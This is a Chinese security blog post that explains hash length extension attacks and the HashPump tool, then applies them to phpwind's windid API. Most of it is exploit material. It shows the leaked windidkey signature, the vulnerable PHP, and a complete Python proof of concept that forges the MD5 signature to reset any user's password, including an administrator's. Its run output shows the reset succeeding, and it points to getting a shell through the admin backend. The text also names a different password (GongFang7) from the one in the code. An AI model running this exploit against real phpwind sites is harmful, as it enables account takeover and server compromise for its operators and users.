哈希长度扩展攻击（hash length attack）是一类针对某些哈希函数可以额外添加一些信息的攻击手段，适用于已经确定哈希值和密钥长度的情况。这里推荐有python扩展的HashPump，HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具，支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。
1 哈希长度扩展攻击
1.1 简介
哈希长度扩张攻击（hash length attack）是一类针对某些哈希函数可以额外添加一些信息的攻击手段，适用于已经确定哈希值和密钥长度的情况。哈希值基本表示如下H（密钥||消息），即知道了哈希值和密钥的长度，可以推出H（密钥||消息||padding||append）的哈希值，padding是要填充的字段，append则是要附加的消息。其实如果不知道密钥长度，可通过暴力猜解得到，已知的有长度扩展攻击缺陷的函数有MD5，SHA-1，SHA-256等等,详细的攻击原理可参考Everything you need to know about hash length extension attacks
1.2 利用
这里推荐有python扩展的HashPump，HashPump是一个借助于OpenSSL实现了针对多种散列函数的攻击的工具，支持针对MD5、CRC32、SHA1、SHA256和SHA512等长度扩展攻击。而MD2、SHA224和SHA384算法不受此攻击的影响，因其部分避免了对状态变量的输出，并不输出全部的状态变量。
安装：pip install hashpumpy
|
1
2
3
4
5
6
7
8
9
10
11
|
root@kali:~/python# hashpump –help
HashPump [-h help] [-t test] [-s signature] [-d data] [-a additional] [-k keylength]
HashPump generates strings to exploit signatures vulnerable to the Hash Length Extension Attack.
-h –help Display this message.
-t –test Run tests to verify each algorithm is operating properly.
-s –signature The signature from known message.
-d –data The data from the known message.
-a –additional The information you would like to add to the known message.
-k –keylength The length in bytes of the key being used to sign the original message with.
Version 1.2.0 with CRC32, MD5, SHA1, SHA256 and SHA512 support.
<Developed by bwall(@botnet_hunter)>
|
-s参数对应的就是H(密钥||消息)中的哈希值，-d参数对应着消息，-k参数对应着密钥的长度，-a则是要附加的消息。
|
1
2
3
|
root@kali:~/python# hashpump -s “ebfe0fff1806cfe6186c6a0b172e8148” -d “1465895192adoAvatarcavatarmapitypeflashuid2uidundefined” -k 32 -a namespacesiteaeditUsercusermapipasswordGongFang9uid1
4daee9a61955a1c17319f4c1664d11df
1465895192adoAvatarcavatarmapitypeflashuid2uidundefined\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\x02\x00\x00\x00\x00\x00\x00namespacesiteaeditUsercusermapipasswordGongFang9uid1
|
最后提供一个哈希扩展攻击在线工具：http://sakurity.com/lengthextension，需要注意的长度是密钥+消息的总长度，详情见图：![此处输入图片的描述][2]
2 phpwind利用点分析
phpwind会在每次请求的时候校验密钥，具体的对应函数如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$charset = ‘utf-8’;
$_windidkey = $this->getInput(‘windidkey’, ‘get’);
$_time = (int)$this->getInput(‘time’, ‘get’);
$_clientid = (int)$this->getInput(‘clientid’, ‘get’);
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent[‘id’], $_time, $clent[‘secretkey’], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);
$time = Pw::getTime();
if ($time – $_time > 1200) $this->output(WindidError::TIMEOUT);
$this->appid = $_clientid;
}
|
在这个函数中会提取windidkey，并且和WindidUtility::appKey生成的结果做对比，不同则退出，如过相同继续判断时间是否超时，超时也退出，appKey的实现如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public static function appKey($apiId, $time, $secretkey, $get, $post) {
// 注意这里需要加上__data，因为下面的buildRequest()里加了。
$array = array(‘windidkey’, ‘clientid’, ‘time’, ‘_json’, ‘jcallback’, ‘csrf_token’,
‘Filename’, ‘Upload’, ‘token’, ‘__data’);
$str = ”;
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.’||’.$secretkey).$time.$str);
}
|
在函数中md5(md5($apiId.'||'.$secretkey).$time.$str)的值是知道的，即windidkey，这个值在用户上传头像处泄露，md5($apiId.'||'.$secretkey)的长度是知道的，32bit，$time.$str参数是用户可控的，那么就满足了哈希扩展长度攻击，下面我们看下用户上传头像处的请求，右键查看源代码找到如下请求：
|
1
|
http://192.168.3.106/windid/index.php?m=api&c=avatar&a=doAvatar&uid=2&windidkey=b6f98f9e78105ca0ec4239de8478cd26&time=1465977216&clientid=1&type=flash&avatar=http://192.168.3.106/windid/attachment//avatar/000/00/00/2.jpg?r=18504
|
接着看实际构造的appKey的参数效果,这个可以根据trace的结果直接给出，具体如下：
|
1
|
md5(‘520a1e355b8cfc82e56ae578176d7f101465977216adoAvatarcavatarmapitypeflashuid2uidundefined’) /var/www/html/src/windid/service/base/WindidUtility.php:54
|
md5($apiId.'||'.$secretkey)的值为520a1e355b8cfc82e56ae578176d7f10，$time为1465977216,$str为adoAvatarcavatarmapitypeflashuid2uidundefined,从appKey函数的实现来看，$str就是get，post请求进行取舍排序得到的。有了这个基础，根据hashpump公式，在post请求中加入我们的参数，并计算出合适的windidkey值，提交请求，就可达到目的。
3 利用POC
可利用如下的代码构造post请求，修改某uid用户的密码。如果修改的是管理员的密码，并且这管理员有相应的后台权限，那么我们就可以在后台getshell，利用脚本如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
#!env python
# coding=utf-8
import hashpumpy
import urllib
import urlparse
import urllib2
import requests
def md5hack(md5, ori_str, append, security_len):
md5, message = hashpumpy.hashpump(md5, ori_str,append, security_len)
quoted_message = urllib.quote(message)
print ‘md5 after hash length attacked:’,md5
print ‘message:’,message
print ‘quote message:’,quoted_message
return (md5,quoted_message)
def modify_passwd(ip, uid, target_uid, windidkey, padding, time, password=”GongFang9″):
“””修改后台管理员的密码”””
target_uid = target_uid #uid是后台管理的uid参数
host = “http://” + ip
data = “a=editUser&c=user&m=api&uid={0}&password={1}”.format(target_uid, password)
url = “{0}/windid/index.php?windidkey={1}&adoAvatarcavatarmapitypeflashuid{2}uidundefined={3}&clientid=1&time={4}&namespace=site”.format(host,windidkey,uid,padding,time)
print ‘url:’,url
print ‘data:’,data
r = requests.post(url,data=data)
#r = requests.post(url,data=data,headers=headers)
print r.text
if r.text.strip() == “1”:
print ‘modify password Succeed’
else:
print ‘failed’
if __name__ == “__main__”:
“””点开用户头像上传处,右键查看源码,搜索windidkey,拷贝含flash字段的那个request作为r参数”””
r = “””http%3A%2F%2F192.168.3.106%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D5%26windidkey%3D1eb5af71d002ac89e22c0170806b0fe8%26time%3D1466416702%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2F192.168.3.106%2Fwindid%2Fattachment%2F%2Favatar%2F000%2F00%2F00%2F5.jpg%3Fr%3D78057″””
request = urlparse.urlparse(urllib.unquote(r))
querys = [item for item in request.query.split(“&”)]
query_dict = {item.split(“=”)[0]:item.split(“=”)[1] for item in querys}
ori_md5 = query_dict.get(“windidkey”)
time = query_dict.get(‘time’)
uid = query_dict.get(‘uid’)
ori_str = “{0}adoAvatarcavatarmapitypeflashuid{1}uidundefined”.format(time,uid)
password = “test123”
ip = “192.168.3.173”
ip = “192.168.3.106”
target_uid = 3
post_append= “a=getConfig&c=config&m=api&id=1”
post_append= “a=editUser&c=user&m=api&uid={0}&password={1}”.format(target_uid,password)
post = “”.join(sorted([item.replace(“=”,””) for item in post_append.split(“&”)]))
# security = “d2edc0a3340df65cb66387464f3adfc1”
# ori_str = “1465784719adoAvatarcavatarmapitypeflashuid2uidundefined”
security_len = 32#phpwind计算windidkey 公式md5(md5($apiId.’||’.$secretkey).$time.$str),md5值的长度是32
print ‘hashmd5:’,ori_md5
print ‘security len:’, security_len
print ‘ori_str’, ori_str
append = ‘agetcappid1mapi’
append = “namespacesite” + post
print ‘post’,append
(md5,quoted_message) = md5hack(ori_md5, ori_str, append, security_len)
padding = quoted_message[quoted_message.index(“%”):quoted_message.rindex(“%”)+3]
modify_passwd(ip, uid, target_uid, md5, padding, time, password)
|
运行之后得到
|
1
2
3
4
5
6
7
8
9
10
11
12
|
root@kali:~/python# python md5hack.py
hashmd5: 4d8971d0d2556d5dcbeb3b0f10e41429
security len: 32
ori_str 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined
post namespacesiteaeditUsercusermapipasswordtangTest3uid3
md5 after hash length attacked: e46e0aaddbd4e008077535a4dafab3f5
message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined▒▒namespacesiteaeditUsercusermapipasswordtangTest3uid3
quote message: 1466474956adoAvatarcavatarmapitypeflashuid10uidundefined%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00namespacesiteaeditUsercusermapipasswordtangTest3uid3
url: http://192.168.3.173/windid/index.php?windidkey=e46e0aaddbd4e008077535a4dafab3f5&adoAvatarcavatarmapitypeflashuid10uidundefined=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%C0%02%00%00%00%00%00%00&clientid=1&time=1466474956&namespace=site
data: a=editUser&c=user&m=api&uid=3&password=test123
1
modify password Succeed
|
代码中修改uid为3的账户的密码为GongFang7，假设该用户具有后台管理员权限，进入后台getshell，具体的getshell可参考http://www.wooyun.org/bugs/wooyun-2016-0175518